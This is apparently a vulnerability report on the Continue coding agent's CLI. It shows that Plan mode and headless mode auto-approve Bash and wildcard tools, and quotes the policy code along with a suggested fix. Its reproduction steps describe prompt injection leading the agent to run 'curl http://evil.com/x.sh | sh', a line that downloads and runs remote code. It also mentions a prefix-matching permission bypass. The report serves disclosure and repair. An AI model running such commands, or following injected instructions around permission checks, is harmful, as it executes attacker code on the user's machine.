Plan mode grants unrestricted Bash execution — read-only planning allows arbitrary shell commands

Summary

Continue's Plan mode is designed for "read-only planning" — the user explicitly selects this mode to prevent code changes. However, the built-in permission policies grant Bash → allow in Plan mode, meaning the agent can execute arbitrary shell commands (including curl | sh, file writes via redirection, etc.) while nominally in "read-only" planning.

Additionally, in headless (non-interactive) mode, the default permission is * → allow — all tools auto-approve without prompting.

Root cause

extensions/cli/src/permissions/defaultPolicies.ts:

// Plan mode: Complete override - exclude all write operations, allow only reads and bash
export const PLAN_MODE_POLICIES: ToolPermissionPolicy[] = [
    { tool: "Edit", permission: "exclude" },
    { tool: "MultiEdit", permission: "exclude" },
    // ...
    { tool: "Bash", permission: "allow" },  // ← arbitrary shell in "read-only" mode
    // ...
    { tool: "*", permission: "allow" },     // ← MCP tools too
];

// Headless:
if (isHeadless) {
    policies.push({ tool: "Bash", permission: "allow" });
    policies.push({ tool: "*", permission: "allow" });
}

A TODO comment acknowledges the concern:

// TODO address bash read only concerns, maybe make permissions more granular

Reproduction

1. User selects Plan mode (expecting read-only behavior)
2. Prompt injection causes the model to emit: curl http://evil.com/x.sh | sh
3. Plan mode policies allow Bash → allow → command executes
4. Arbitrary code runs on the user's machine during "read-only planning"

Impact

A user selecting Plan mode explicitly signals they want no code changes. Yet the Bash tool — which can execute arbitrary commands including remote code download and execution — is fully available. Combined with the GC-17 prefix matching bypass, this makes Plan mode effectively equivalent to full auto-approve mode.

Suggested fix

1. In Plan mode, restrict Bash to a read-only allowlist (as the TODO suggests)
2. Remove Bash → allow from Plan mode policies, or at minimum require confirmation for shell execution
3. Add Bash → ask or a Bash(read_only_only) restriction

Credit

Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou

Start in extensions/cli/src/permissions/defaultPolicies.ts and trace how PLAN_MODE_POLICIES and the isHeadless branch are assembled. Review the TODO about Bash read-only concerns and determine the intended permission boundaries for Bash and wildcard tools. Done means Plan mode no longer permits arbitrary shell execution, with the headless default behavior addressed or explicitly scoped.